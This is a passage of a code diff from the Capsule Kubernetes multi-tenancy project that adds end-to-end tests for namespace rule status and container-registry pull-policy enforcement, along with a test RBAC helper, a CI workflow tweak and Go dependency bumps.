    +		nsB1 = NewNamespace("rule-status-ns3", map[string]string{
    +			meta.TenantLabel: tntB.GetName(),
    +		})
    +
    +		NamespaceCreation(nsA1, tntA.Spec.Owners[0].UserSpec, defaultTimeoutInterval).Should(Succeed())
    +		NamespaceCreation(nsA2, tntA.Spec.Owners[0].UserSpec, defaultTimeoutInterval).Should(Succeed())
    +		NamespaceCreation(nsB1, tntB.Spec.Owners[0].UserSpec, defaultTimeoutInterval).Should(Succeed())
    +
    +		// Wait until tenants list their namespaces (optional but makes debugging easier)
    +		TenantNamespaceList(tntA, defaultTimeoutInterval).Should(ContainElements(nsA1.GetName(), nsA2.GetName()))
    +		TenantNamespaceList(tntB, defaultTimeoutInterval).Should(ContainElement(nsB1.GetName()))
    +	})
    +
    +	JustAfterEach(func() {
    +		// Best-effort cleanup namespaces first (your env may already handle this)
    +		for _, n := range []*corev1.Namespace{nsA1, nsA2, nsB1} {
    +			if n == nil {
    +				continue
    +			}
    +			_ = k8sClient.Delete(ctx, n)
    +		}
    +
    +		// Delete tenants
    +		if tntA != nil {
    +			_ = k8sClient.Delete(ctx, tntA)
    +		}
    +		if tntB != nil {
    +			_ = k8sClient.Delete(ctx, tntB)
    +		}
    +	})
    +
    +	// --- Helpers ---
    +
    +	expectNamespaceStatusFor := func(ns *corev1.Namespace, tenantName string) {
    +		By(fmt.Sprintf("verifying NamespaceStatus for namespace %q (tenant=%q)", ns.Name, tenantName))
    +
    +		Eventually(func(g Gomega) {
    +			// Re-read namespace to get UID reliably (in case local object is stale)
    +			curNS := &corev1.Namespace{}
    +			g.Expect(k8sClient.Get(ctx, client.ObjectKey{Name: ns.Name}, curNS)).To(Succeed())
    +
    +			nsStatus := &capsulev1beta2.RuleStatus{}
    +			g.Expect(k8sClient.Get(ctx, client.ObjectKey{Name: meta.NameForManagedRuleStatus(), Namespace: ns.Name}, nsStatus)).To(Succeed())
    +
    +			// 2) OwnerReference must point to the Namespace and be controller owner
    +			g.Expect(nsStatus.OwnerReferences).NotTo(BeEmpty())
    +
    +			var found bool
    +			for _, or := range nsStatus.OwnerReferences {
    +				if or.APIVersion == "v1" &&
    +					or.Kind == "Namespace" &&
    +					or.Name == curNS.Name &&
    +					or.UID == curNS.UID {
    +
    +					found = true
    +
    +					break
    +				}
    +			}
    +			g.Expect(found).To(BeTrue(), "expected NamespaceStatus to have Namespace controller OwnerReference")
    +		}, defaultTimeoutInterval, defaultPollInterval).Should(Succeed())
    +	}
    +
    +	It("creates one NamespaceStatus per namespace, with correct Status.Tenant and Namespace controller OwnerReference", func() {
    +		expectNamespaceStatusFor(nsA1, tntA.Name)
    +		expectNamespaceStatusFor(nsA2, tntA.Name)
    +		expectNamespaceStatusFor(nsB1, tntB.Name)
    +	})
    +
    +	It("removes NamespaceStatus when the Namespace is deleted (ownerReference GC)", func() {
    +		// Ensure it exists first
    +		expectNamespaceStatusFor(nsA1, tntA.Name)
    +
    +		// Delete namespace
    +		Expect(k8sClient.Delete(ctx, nsA1)).To(Succeed())
    +
    +		// Namespace deletion can take time; once it's gone, the status should be GC'd
    +		Eventually(func() bool {
    +			// confirm namespace gone or terminating; either way, check status disappears eventually
    +			nsStatus := &capsulev1beta2.RuleStatus{}
    +			err := k8sClient.Get(ctx, client.ObjectKey{Name: meta.NameForManagedRuleStatus(), Namespace: nsA1.Name}, nsStatus)
    +			return apierrors.IsNotFound(err)
    +		}, defaultTimeoutInterval, defaultPollInterval).Should(BeTrue())
    +	})
    +})
    
  • e2e/rules_registry_test.go+525 0 added
    @@ -0,0 +1,525 @@
    +// Copyright 2020-2023 Project Capsule Authors.
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package e2e
    +
    +import (
    +	"context"
    +	"fmt"
    +	"strings"
    +	"time"
    +
    +	. "github.com/onsi/ginkgo/v2"
    +	. "github.com/onsi/gomega"
    +	corev1 "k8s.io/api/core/v1"
    +	apierrors "k8s.io/apimachinery/pkg/api/errors"
    +	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
    +	"k8s.io/client-go/kubernetes"
    +	"sigs.k8s.io/controller-runtime/pkg/client"
    +
    +	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    +	"github.com/projectcapsule/capsule/pkg/api"
    +	"github.com/projectcapsule/capsule/pkg/api/meta"
    +)
    +
    +var _ = Describe("enforcing a Container Registry", Label("tenant", "rules", "images", "registry"), func() {
    +	originConfig := &capsulev1beta2.CapsuleConfiguration{}
    +
    +	tnt := &capsulev1beta2.Tenant{
    +		ObjectMeta: metav1.ObjectMeta{
    +			Name: "container-registry",
    +		},
    +		Spec: capsulev1beta2.TenantSpec{
    +			Owners: api.OwnerListSpec{
    +				{
    +					CoreOwnerSpec: api.CoreOwnerSpec{
    +						UserSpec: api.UserSpec{
    +							Name: "matt",
    +							Kind: "User",
    +						},
    +					},
    +				},
    +			},
    +			Rules: []*capsulev1beta2.NamespaceRule{
    +				{
    +					NamespaceRuleBody: capsulev1beta2.NamespaceRuleBody{
    +						Enforce: capsulev1beta2.NamespaceRuleEnforceBody{
    +							Registries: []api.OCIRegistry{
    +								// Global: allow any registry, but require PullPolicy Always (images+volumes)
    +								{
    +									Registry: ".*",
    +									Validation: []api.RegistryValidationTarget{
    +										api.ValidateImages,
    +										api.ValidateVolumes,
    +									},
    +									Policy: []corev1.PullPolicy{corev1.PullAlways},
    +								},
    +								// More specific harbor rule (no policy override => should NOT remove Always restriction)
    +								{
    +									Registry: "harbor/.*",
    +									Validation: []api.RegistryValidationTarget{
    +										api.ValidateImages,
    +										api.ValidateVolumes,
    +									},
    +								},
    +							},
    +						},
    +					},
    +				},
    +				{
    +					NamespaceSelector: &metav1.LabelSelector{
    +						MatchLabels: map[string]string{
    +							"environment": "prod",
    +						},
    +					},
    +					NamespaceRuleBody: capsulev1beta2.NamespaceRuleBody{
    +						Enforce: capsulev1beta2.NamespaceRuleEnforceBody{
    +							Registries: []api.OCIRegistry{
    +								// Prod-only special-case
    +								{
    +									Registry: "harbor/production-image/.*",
    +									Validation: []api.RegistryValidationTarget{
    +										api.ValidateImages,
    +										api.ValidateVolumes,
    +									},
    +									Policy: []corev1.PullPolicy{corev1.PullAlways},
    +								},
    +							},
    +						},
    +					},
    +				},
    +			},
    +		},
    +	}
    +
    +	// ---- Small local helpers (keep e2e readable) ----
    +
    +	expectNamespaceStatusRegistries := func(nsName string, want []string) {
    +		Eventually(func(g Gomega) {
    +			nsStatus := &capsulev1beta2.RuleStatus{}
    +			g.Expect(k8sClient.Get(
    +				context.Background(),
    +				client.ObjectKey{Name: meta.NameForManagedRuleStatus(), Namespace: nsName},
    +				nsStatus,
    +			)).To(Succeed())
    +
    +			got := make([]string, 0, len(nsStatus.Status.Rule.Enforce.Registries))
    +			for _, r := range nsStatus.Status.Rule.Enforce.Registries {
    +				got = append(got, r.Registry)
    +			}
    +
    +			g.Expect(got).To(Equal(want))
    +		}, defaultTimeoutInterval, defaultPollInterval).Should(Succeed())
    +	}
    +
    +	createPodAndExpectDenied := func(cs kubernetes.Interface, nsName string, pod *corev1.Pod, substrings ...string) {
    +		base := pod.DeepCopy()
    +		baseName := base.Name
    +		if baseName == "" {
    +			baseName = "pod"
    +		}
    +
    +		Eventually(func() error {
    +			// unique name per attempt to avoid AlreadyExists
    +			p := base.DeepCopy()
    +			p.Name = fmt.Sprintf("%s-%d", baseName, int(time.Now().UnixNano()%1e6))
    +
    +			_, err := cs.CoreV1().Pods(nsName).Create(context.Background(), p, metav1.CreateOptions{})
    +			if err == nil {
    +				_ = cs.CoreV1().Pods(nsName).Delete(context.Background(), p.Name, metav1.DeleteOptions{})
    +				return fmt.Errorf("expected create to be denied, but it succeeded")
    +			}
    +
    +			if apierrors.IsAlreadyExists(err) {
    +				return fmt.Errorf("unexpected AlreadyExists: %v", err)
    +			}
    +
    +			msg := err.Error()
    +			for _, s := range substrings {
    +				if !strings.Contains(msg, s) {
    +					return fmt.Errorf("expected error to contain %q, got: %s", s, msg)
    +				}
    +			}
    +			return nil
    +		}, defaultTimeoutInterval, defaultPollInterval).Should(Succeed())
    +	}
    +
    +	createPodAndExpectAllowed := func(cs kubernetes.Interface, nsName string, pod *corev1.Pod) {
    +		EventuallyCreation(func() error {
    +			_, err := cs.CoreV1().Pods(nsName).Create(context.Background(), pod, metav1.CreateOptions{})
    +			return err
    +		}).Should(Succeed())
    +	}
    +
    +	JustBeforeEach(func() {
    +		Expect(k8sClient.Get(context.Background(), client.ObjectKey{Name: defaultConfigurationName}, originConfig)).To(Succeed())
    +
    +		EventuallyCreation(func() error {
    +			tnt.ResourceVersion = ""
    +			return k8sClient.Create(context.TODO(), tnt)
    +		}).Should(Succeed())
    +	})
    +
    +	JustAfterEach(func() {
    +		Expect(k8sClient.Delete(context.TODO(), tnt)).Should(Succeed())
    +
    +		// Restore Configuration
    +		Eventually(func() error {
    +			c := &capsulev1beta2.CapsuleConfiguration{}
    +			if err := k8sClient.Get(context.Background(), client.ObjectKey{Name: originConfig.Name}, c); err != nil {
    +				return err
    +			}
    +			c.Spec = originConfig.Spec
    +			return k8sClient.Update(context.Background(), c)
    +		}, defaultTimeoutInterval, defaultPollInterval).Should(Succeed())
    +	})
    +
    +	It("aggregates enforcement rules into NamespaceStatus for a non-prod namespace", func() {
    +		ns := NewNamespace("")
    +		cs := ownerClient(tnt.Spec.Owners[0].UserSpec)
    +
    +		NamespaceCreation(ns, tnt.Spec.Owners[0].UserSpec, defaultTimeoutInterval).Should(Succeed())
    +		TenantNamespaceList(tnt, defaultTimeoutInterval).Should(ContainElement(ns.GetName()))
    +
    +		// Non-prod: should include only the global rule body (two registries in order)
    +		expectNamespaceStatusRegistries(ns.GetName(), []string{
    +			".*",
    +			"harbor/.*",
    +		})
    +
    +		// Sanity: we can still create a trivial pod with explicit Always (since global allows all registries)
    +		pod := &corev1.Pod{
    +			ObjectMeta: metav1.ObjectMeta{Name: "sanity"},
    +			Spec: corev1.PodSpec{
    +				Containers: []corev1.Container{
    +					{Name: "c", Image: "gcr.io/google_containers/pause-amd64:3.0", ImagePullPolicy: corev1.PullAlways},
    +				},
    +			},
    +		}
    +		createPodAndExpectAllowed(cs, ns.Name, pod)
    +	})
    +
    +	It("aggregates enforcement rules into NamespaceStatus for a prod namespace", func() {
    +		ns := NewNamespace("", map[string]string{
    +			"environment": "prod",
    +		})
    +
    +		cs := ownerClient(tnt.Spec.Owners[0].UserSpec)
    +
    +		NamespaceCreation(ns, tnt.Spec.Owners[0].UserSpec, defaultTimeoutInterval).Should(Succeed())
    +		TenantNamespaceList(tnt, defaultTimeoutInterval).Should(ContainElement(ns.GetName()))
    +
    +		// Prod: should include global + prod rule (3 registries in order)
    +		expectNamespaceStatusRegistries(ns.GetName(), []string{
    +			".*",
    +			"harbor/.*",
    +			"harbor/production-image/.*",
    +		})
    +
    +		// Sanity allow with Always
    +		pod := &corev1.Pod{
    +			ObjectMeta: metav1.ObjectMeta{Name: "prod-sanity"},
    +			Spec: corev1.PodSpec{
    +				Containers: []corev1.Container{
    +					{Name: "c", Image: "harbor/production-image/app:1", ImagePullPolicy: corev1.PullAlways},
    +				},
    +			},
    +		}
    +		createPodAndExpectAllowed(cs, ns.Name, pod)
    +	})
    +
    +	It("denies a container image when pullPolicy is not explicitly set under restriction (dev)", func() {
    +		ns := NewNamespace("")
    +		cs := ownerClient(tnt.Spec.Owners[0].UserSpec)
    +
    +		NamespaceCreation(ns, tnt.Spec.Owners[0].UserSpec, defaultTimeoutInterval).Should(Succeed())
    +		TenantNamespaceList(tnt, defaultTimeoutInterval).Should(ContainElement(ns.GetName()))
    +
    +		// No ImagePullPolicy set => "" => should be denied because global rule restricts policy to Always
    +		pod := &corev1.Pod{
    +			ObjectMeta: metav1.ObjectMeta{Name: "no-pullpolicy"},
    +			Spec: corev1.PodSpec{
    +				Containers: []corev1.Container{
    +					{Name: "c", Image: "gcr.io/google_containers/pause-amd64:3.0"},
    +				},
    +			},
    +		}
    +
    +		createPodAndExpectDenied(cs, ns.Name, pod,
    +			"uses pullPolicy=IfNotPresent",
    +			"not allowed",
    +			"allowed: Always",
    +		)
    +	})
    +
    +	It("denies a harbor image with pullPolicy IfNotPresent because global Always must still apply (dev)", func() {
    +		ns := NewNamespace("")
    +		cs := ownerClient(tnt.Spec.Owners[0].UserSpec)
    +
    +		NamespaceCreation(ns, tnt.Spec.Owners[0].UserSpec, defaultTimeoutInterval).Should(Succeed())
    +		TenantNamespaceList(tnt, defaultTimeoutInterval).Should(ContainElement(ns.GetName()))
    +
    +		pod := &corev1.Pod{
    +			ObjectMeta: metav1.ObjectMeta{Name: "harbor-wrong-policy"},
    +			Spec: corev1.PodSpec{
    +				Containers: []corev1.Container{
    +					{
    +						Name:            "c",
    +						Image:           "harbor/some-team/app:1",
    +						ImagePullPolicy: corev1.PullIfNotPresent,
    +					},
    +				},
    +			},
    +		}
    +
    +		createPodAndExpectDenied(cs, ns.Name, pod,
    +			"pullPolicy=IfNotPresent",
    +			"not allowed",
    +			"allowed:",
    +		)
    +	})
    +
    +	It("allows a harbor image with pullPolicy Always (dev)", func() {
    +		ns := NewNamespace("")
    +		cs := ownerClient(tnt.Spec.Owners[0].UserSpec)
    +
    +		NamespaceCreation(ns, tnt.Spec.Owners[0].UserSpec, defaultTimeoutInterval).Should(Succeed())
    +		TenantNamespaceList(tnt, defaultTimeoutInterval).Should(ContainElement(ns.GetName()))
    +
    +		pod := &corev1.Pod{
    +			ObjectMeta: metav1.ObjectMeta{Name: "harbor-always"},
    +			Spec: corev1.PodSpec{
    +				Containers: []corev1.Container{
    +					{
    +						Name:            "c",
    +						Image:           "harbor/some-team/app:1",
    +						ImagePullPolicy: corev1.PullAlways,
    +					},
    +				},
    +			},
    +		}
    +
    +		createPodAndExpectAllowed(cs, ns.Name, pod)
    +	})
    +
    +	It("denies initContainers when they violate policy (dev) and includes the correct location in the message", func() {
    +		ns := NewNamespace("")
    +		cs := ownerClient(tnt.Spec.Owners[0].UserSpec)
    +
    +		NamespaceCreation(ns, tnt.Spec.Owners[0].UserSpec, defaultTimeoutInterval).Should(Succeed())
    +		TenantNamespaceList(tnt, defaultTimeoutInterval).Should(ContainElement(ns.GetName()))
    +
    +		pod := &corev1.Pod{
    +			ObjectMeta: metav1.ObjectMeta{Name: "init-deny"},
    +			Spec: corev1.PodSpec{
    +				InitContainers: []corev1.Container{
    +					{
    +						Name:            "init",
    +						Image:           "harbor/some-team/init:1",
    +						ImagePullPolicy: corev1.PullIfNotPresent, // should be denied
    +					},
    +				},
    +				Containers: []corev1.Container{
    +					{
    +						Name:            "c",
    +						Image:           "harbor/some-team/app:1",
    +						ImagePullPolicy: corev1.PullAlways,
    +					},
    +				},
    +			},
    +		}
    +
    +		createPodAndExpectDenied(cs, ns.Name, pod,
    +			"initContainers[0]",
    +			"pullPolicy=IfNotPresent",
    +			"allowed:",
    +		)
    +	})
    +
    +	It("denies volume image pullPolicy if not allowed (dev)", func() {
    +		ns := NewNamespace("")
    +		cs := ownerClient(tnt.Spec.Owners[0].UserSpec)
    +
    +		NamespaceCreation(ns, tnt.Spec.Owners[0].UserSpec, defaultTimeoutInterval).Should(Succeed())
    +		TenantNamespaceList(tnt, defaultTimeoutInterval).Should(ContainElement(ns.GetName()))
    +
    +		pod := &corev1.Pod{
    +			ObjectMeta: metav1.ObjectMeta{Name: "volume-deny"},
    +			Spec: corev1.PodSpec{
    +				Containers: []corev1.Container{
    +					// main container must exist
    +					{Name: "c", Image: "harbor/some-team/app:1", ImagePullPolicy: corev1.PullAlways},
    +				},
    +				Volumes: []corev1.Volume{
    +					{
    +						Name: "imgvol",
    +						VolumeSource: corev1.VolumeSource{
    +							Image: &corev1.ImageVolumeSource{
    +								Reference:  "harbor/some-team/volimg:1",
    +								PullPolicy: corev1.PullIfNotPresent, // should be denied
    +							},
    +						},
    +					},
    +				},
    +			},
    +		}
    +
    +		createPodAndExpectDenied(cs, ns.Name, pod,
    +			"volumes[0](imgvol)",
    +			"pullPolicy=IfNotPresent",
    +			"allowed:",
    +		)
    +	})
    +
    +	It("allows prod-specific image only with Always, still enforcing global policy", func() {
    +		ns := NewNamespace("", map[string]string{
    +			"environment": "prod",
    +		})
    +
    +		cs := ownerClient(tnt.Spec.Owners[0].UserSpec)
    +
    +		NamespaceCreation(ns, tnt.Spec.Owners[0].UserSpec, defaultTimeoutInterval).Should(Succeed())
    +		TenantNamespaceList(tnt, defaultTimeoutInterval).Should(ContainElement(ns.GetName()))
    +
    +		// Wrong policy => denied
    +		bad := &corev1.Pod{
    +			ObjectMeta: metav1.ObjectMeta{Name: "prod-bad"},
    +			Spec: corev1.PodSpec{
    +				Containers: []corev1.Container{
    +					{Name: "c", Image: "harbor/production-image/app:1", ImagePullPolicy: corev1.PullNever},
    +				},
    +			},
    +		}
    +		createPodAndExpectDenied(cs, ns.Name, bad,
    +			"pullPolicy=Never",
    +			"allowed:",
    +		)
    +
    +		// Correct policy => allowed
    +		good := &corev1.Pod{
    +			ObjectMeta: metav1.ObjectMeta{Name: "prod-good"},
    +			Spec: corev1.PodSpec{
    +				Containers: []corev1.Container{
    +					{Name: "c", Image: "harbor/production-image/app:1", ImagePullPolicy: corev1.PullAlways},
    +				},
    +			},
    +		}
    +		createPodAndExpectAllowed(cs, ns.Name, good)
    +	})
    +
    +	It("denies adding an ephemeral container with wrong pullPolicy on UPDATE", func() {
    +		ns := NewNamespace("")
    +		cs := ownerClient(tnt.Spec.Owners[0].UserSpec)
    +
    +		NamespaceCreation(ns, tnt.Spec.Owners[0].UserSpec, defaultTimeoutInterval).Should(Succeed())
    +		TenantNamespaceList(tnt, defaultTimeoutInterval).Should(ContainElement(ns.GetName()))
    +		expectNamespaceStatusRegistries(ns.GetName(), []string{".*", "harbor/.*"})
    +
    +		cleanupRBAC := GrantEphemeralContainersUpdate(ns.Name, tnt.Spec.Owners[0].UserSpec.Name)
    +		defer cleanupRBAC()
    +
    +		// Create an allowed pod
    +		pod := &corev1.Pod{
    +			ObjectMeta: metav1.ObjectMeta{Name: "base"},
    +			Spec: corev1.PodSpec{
    +				Containers: []corev1.Container{
    +					{Name: "c", Image: "harbor/some-team/app:1", ImagePullPolicy: corev1.PullAlways},
    +				},
    +			},
    +		}
    +		createPodAndExpectAllowed(cs, ns.Name, pod)
    +
    +		// Now attempt to add an ephemeral container with IfNotPresent (should be denied)
    +		ephem := corev1.EphemeralContainer{
    +			EphemeralContainerCommon: corev1.EphemeralContainerCommon{
    +				Name:            "debug",
    +				Image:           "harbor/some-team/debug:1",
    +				ImagePullPolicy: corev1.PullIfNotPresent,
    +			},
    +		}
    +
    +		Eventually(func() error {
    +			// Must use the ephemeralcontainers subresource
    +			cur, err := cs.CoreV1().Pods(ns.Name).Get(context.Background(), pod.Name, metav1.GetOptions{})
    +			if err != nil {
    +				return err
    +			}
    +
    +			cur.Spec.EphemeralContainers = append(cur.Spec.EphemeralContainers, ephem)
    +
    +			_, err = cs.CoreV1().Pods(ns.Name).UpdateEphemeralContainers(
    +				context.Background(),
    +				cur.Name,
    +				cur,
    +				metav1.UpdateOptions{},
    +			)
    +			if err == nil {
    +				return fmt.Errorf("expected UpdateEphemeralContainers to be denied, but it succeeded")
    +			}
    +
    +			msg := err.Error()
    +			// Your webhook reports "ephemeralContainers[0]" location
    +			if !strings.Contains(msg, "ephemeralContainers") || !strings.Contains(msg, "pullPolicy=IfNotPresent") {
    +				return fmt.Errorf("unexpected error: %v", err)
    +			}
    +			return nil
    +		}, defaultTimeoutInterval, defaultPollInterval).Should(Succeed())
    +	})
    +
    +	It("denies a pod when volume image reference changes to a disallowed pullPolicy (recreate)", func() {
    +		ns := NewNamespace("")
    +		cs := ownerClient(tnt.Spec.Owners[0].UserSpec)
    +
    +		NamespaceCreation(ns, tnt.Spec.Owners[0].UserSpec, defaultTimeoutInterval).Should(Succeed())
    +		TenantNamespaceList(tnt, defaultTimeoutInterval).Should(ContainElement(ns.GetName()))
    +		expectNamespaceStatusRegistries(ns.GetName(), []string{".*", "harbor/.*"})
    +
    +		pod1 := &corev1.Pod{
    +			ObjectMeta: metav1.ObjectMeta{Name: "vol-ok"},
    +			Spec: corev1.PodSpec{
    +				Containers: []corev1.Container{
    +					{Name: "c", Image: "harbor/some-team/app:1", ImagePullPolicy: corev1.PullAlways},
    +				},
    +				Volumes: []corev1.Volume{
    +					{
    +						Name: "imgvol",
    +						VolumeSource: corev1.VolumeSource{
    +							Image: &corev1.ImageVolumeSource{
    +								Reference:  "harbor/some-team/volimg:1",
    +								PullPolicy: corev1.PullAlways,
    +							},
    +						},
    +					},
    +				},
    +			},
    +		}
    +		createPodAndExpectAllowed(cs, ns.Name, pod1)
    +
    +		pod2 := &corev1.Pod{
    +			ObjectMeta: metav1.ObjectMeta{Name: "vol-bad"},
    +			Spec: corev1.PodSpec{
    +				Containers: []corev1.Container{
    +					{Name: "c", Image: "harbor/some-team/app:1", ImagePullPolicy: corev1.PullAlways},
    +				},
    +				Volumes: []corev1.Volume{
    +					{
    +						Name: "imgvol",
    +						VolumeSource: corev1.VolumeSource{
    +							Image: &corev1.ImageVolumeSource{
    +								Reference:  "harbor/some-team/volimg:2",
    +								PullPolicy: corev1.PullIfNotPresent,
    +							},
    +						},
    +					},
    +				},
    +			},
    +		}
    +
    +		createPodAndExpectDenied(cs, ns.Name, pod2,
    +			"volumes[0](imgvol)",
    +			"pullPolicy=IfNotPresent",
    +			"allowed:",
    +		)
    +	})
    +
    +})
    
  • e2e/sa_owner_promotion_test.go+2 2 modified
    @@ -281,7 +281,7 @@ var _ = Describe("Promoting ServiceAccounts to Owners", Label("config"), Label("
     
     		Eventually(func(g Gomega) []rbacv1.Subject {
     			crb := &rbacv1.ClusterRoleBinding{}
    -			err := k8sClient.Get(context.TODO(), types.NamespacedName{Name: api.ProvisionerRoleName}, crb)
    +			err := k8sClient.Get(context.TODO(), types.NamespacedName{Name: originConfig.Spec.RBAC.ProvisionerClusterRole}, crb)
     			g.Expect(err).NotTo(HaveOccurred())
     
     			return crb.Subjects
    @@ -337,7 +337,7 @@ var _ = Describe("Promoting ServiceAccounts to Owners", Label("config"), Label("
     
     		Eventually(func(g Gomega) []rbacv1.Subject {
     			crb := &rbacv1.ClusterRoleBinding{}
    -			err := k8sClient.Get(context.TODO(), types.NamespacedName{Name: api.ProvisionerRoleName}, crb)
    +			err := k8sClient.Get(context.TODO(), types.NamespacedName{Name: originConfig.Spec.RBAC.ProvisionerClusterRole}, crb)
     			g.Expect(err).NotTo(HaveOccurred())
     
     			return crb.Subjects
    
  • e2e/suite_test.go+1 1 modified
    @@ -25,7 +25,7 @@ import (
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
     	"github.com/projectcapsule/capsule/pkg/api"
    -	"github.com/projectcapsule/capsule/pkg/configuration"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
     )
     
     // These tests use Ginkgo (BDD-style Go testing framework). Refer to
    
  • e2e/utils_test.go+75 2 modified
    @@ -73,12 +73,17 @@ func NewNamespace(name string, labels ...map[string]string) *corev1.Namespace {
     	}
     
     	namespaceLabels := make(map[string]string)
    -	namespaceLabels["env"] = "e2e"
     
     	if len(labels) > 0 {
    -		namespaceLabels = labels[0]
    +		for _, lab := range labels {
    +			for k, v := range lab {
    +				namespaceLabels[k] = v
    +			}
    +		}
     	}
     
    +	namespaceLabels["env"] = "e2e"
    +
     	return &corev1.Namespace{
     		ObjectMeta: metav1.ObjectMeta{
     			Name:   name,
    @@ -402,6 +407,74 @@ func GetKubernetesVersion() *versionUtil.Version {
     	return ver
     }
     
    +func GrantEphemeralContainersUpdate(ns string, username string) (cleanup func()) {
    +	role := &rbacv1.Role{
    +		ObjectMeta: metav1.ObjectMeta{
    +			Name:      "e2e-ephemeralcontainers",
    +			Namespace: ns,
    +		},
    +		Rules: []rbacv1.PolicyRule{
    +			{
    +				APIGroups: []string{""},
    +				Resources: []string{"pods/ephemeralcontainers"},
    +				Verbs:     []string{"update", "patch"},
    +			},
    +			// Optional but often useful for the test flow:
    +			{
    +				APIGroups: []string{""},
    +				Resources: []string{"pods"},
    +				Verbs:     []string{"get", "list", "watch"},
    +			},
    +		},
    +	}
    +
    +	rb := &rbacv1.RoleBinding{
    +		ObjectMeta: metav1.ObjectMeta{
    +			Name:      "e2e-ephemeralcontainers",
    +			Namespace: ns,
    +		},
    +		Subjects: []rbacv1.Subject{
    +			{
    +				Kind:     rbacv1.UserKind,
    +				Name:     username,
    +				APIGroup: rbacv1.GroupName,
    +			},
    +		},
    +		RoleRef: rbacv1.RoleRef{
    +			APIGroup: rbacv1.GroupName,
    +			Kind:     "Role",
    +			Name:     role.Name,
    +		},
    +	}
    +
    +	// Create-or-update (simple)
    +	EventuallyCreation(func() error {
    +		_ = k8sClient.Delete(context.Background(), rb)
    +		_ = k8sClient.Delete(context.Background(), role)
    +
    +		if err := k8sClient.Create(context.Background(), role); err != nil && !apierrors.IsAlreadyExists(err) {
    +			return err
    +		}
    +		if err := k8sClient.Create(context.Background(), rb); err != nil && !apierrors.IsAlreadyExists(err) {
    +			return err
    +		}
    +		return nil
    +	}).Should(Succeed())
    +
    +	// Give RBAC a moment to propagate in the apiserver authorizer cache
    +	Eventually(func() error {
    +		cs := ownerClient(api.UserSpec{Name: username, Kind: "User"})
    +		_, err := cs.CoreV1().Pods(ns).List(context.Background(), metav1.ListOptions{Limit: 1})
    +		return err
    +	}, defaultTimeoutInterval, defaultPollInterval).Should(Succeed())
    +
    +	return func() {
    +		// Best-effort cleanup
    +		_ = k8sClient.Delete(context.Background(), rb)
    +		_ = k8sClient.Delete(context.Background(), role)
    +	}
    +}
    +
     func DeepCompare(expected, actual interface{}) (bool, string) {
     	expVal := reflect.ValueOf(expected)
     	actVal := reflect.ValueOf(actual)
    
  • .github/workflows/e2e.yml+0 1 modified
    @@ -45,7 +45,6 @@ jobs:
           fail-fast: false
           matrix:
             k8s-version:
    -          - 'v1.30.0'
               - 'v1.31.0'
               - 'v1.32.0'
               - 'v1.33.0'
    
  • .github/workflows/releaser.yml+1 1 modified
    @@ -32,7 +32,7 @@ jobs:
           - uses: creekorful/goreportcard-action@1f35ced8cdac2cba28c9a2f2288a16aacfd507f9 # v1.0
           - uses: anchore/sbom-action/download-syft@0b82b0b1a22399a1c542d4d656f70cd903571b5c
           - name: Install Cosign
    -        uses: sigstore/cosign-installer@faadad0cce49287aee09b3a48701e75088a2c6ad # v4.0.0
    +        uses: sigstore/cosign-installer@7e8b541eb2e61bf99390e1afd4be13a184e9ebc5 # v3.10.1
           - name: Run GoReleaser
             uses: goreleaser/goreleaser-action@e435ccd777264be153ace6237001ef4d979d3a7a # v6.4.0
             with:
    
  • go.mod+50 29 modified
    @@ -4,7 +4,7 @@ go 1.25.4
     
     require (
     	github.com/go-logr/logr v1.4.3
    -	github.com/onsi/ginkgo/v2 v2.27.4
    +	github.com/onsi/ginkgo/v2 v2.27.5
     	github.com/onsi/gomega v1.39.0
     	github.com/pkg/errors v0.9.1
     	github.com/prometheus/client_golang v1.23.2
    @@ -20,74 +20,95 @@ require (
     	k8s.io/apiserver v0.35.0
     	k8s.io/client-go v0.35.0
     	k8s.io/utils v0.0.0-20260108192941-914a6e750570
    -	sigs.k8s.io/cluster-api v1.12.1
    -	sigs.k8s.io/controller-runtime v0.22.4
    +	sigs.k8s.io/cluster-api v1.12.2
    +	sigs.k8s.io/controller-runtime v0.23.0
     	sigs.k8s.io/gateway-api v1.4.1
     )
     
     require (
    +	dario.cat/mergo v1.0.2 // indirect
    +	github.com/BurntSushi/toml v1.6.0 // indirect
     	github.com/Masterminds/semver/v3 v3.4.0 // indirect
     	github.com/beorn7/perks v1.0.1 // indirect
     	github.com/blang/semver/v4 v4.0.0 // indirect
     	github.com/cespare/xxhash/v2 v2.3.0 // indirect
     	github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect
     	github.com/emicklei/go-restful/v3 v3.13.0 // indirect
     	github.com/evanphx/json-patch/v5 v5.9.11 // indirect
    +	github.com/fluxcd/cli-utils v0.37.1-flux.1 // indirect
    +	github.com/fluxcd/pkg/apis/kustomize v1.15.0 // indirect
    +	github.com/fluxcd/pkg/ssa v0.64.0 // indirect
     	github.com/fsnotify/fsnotify v1.9.0 // indirect
     	github.com/fxamacker/cbor/v2 v2.9.0 // indirect
    +	github.com/go-errors/errors v1.5.1 // indirect
     	github.com/go-logr/zapr v1.3.0 // indirect
    -	github.com/go-openapi/jsonpointer v0.22.3 // indirect
    -	github.com/go-openapi/jsonreference v0.21.3 // indirect
    -	github.com/go-openapi/swag v0.25.3 // indirect
    -	github.com/go-openapi/swag/cmdutils v0.25.3 // indirect
    -	github.com/go-openapi/swag/conv v0.25.3 // indirect
    -	github.com/go-openapi/swag/fileutils v0.25.3 // indirect
    -	github.com/go-openapi/swag/jsonname v0.25.3 // indirect
    -	github.com/go-openapi/swag/jsonutils v0.25.3 // indirect
    -	github.com/go-openapi/swag/loading v0.25.3 // indirect
    -	github.com/go-openapi/swag/mangling v0.25.3 // indirect
    -	github.com/go-openapi/swag/netutils v0.25.3 // indirect
    -	github.com/go-openapi/swag/stringutils v0.25.3 // indirect
    -	github.com/go-openapi/swag/typeutils v0.25.3 // indirect
    -	github.com/go-openapi/swag/yamlutils v0.25.3 // indirect
    +	github.com/go-openapi/jsonpointer v0.22.4 // indirect
    +	github.com/go-openapi/jsonreference v0.21.4 // indirect
    +	github.com/go-openapi/swag v0.25.4 // indirect
    +	github.com/go-openapi/swag/cmdutils v0.25.4 // indirect
    +	github.com/go-openapi/swag/conv v0.25.4 // indirect
    +	github.com/go-openapi/swag/fileutils v0.25.4 // indirect
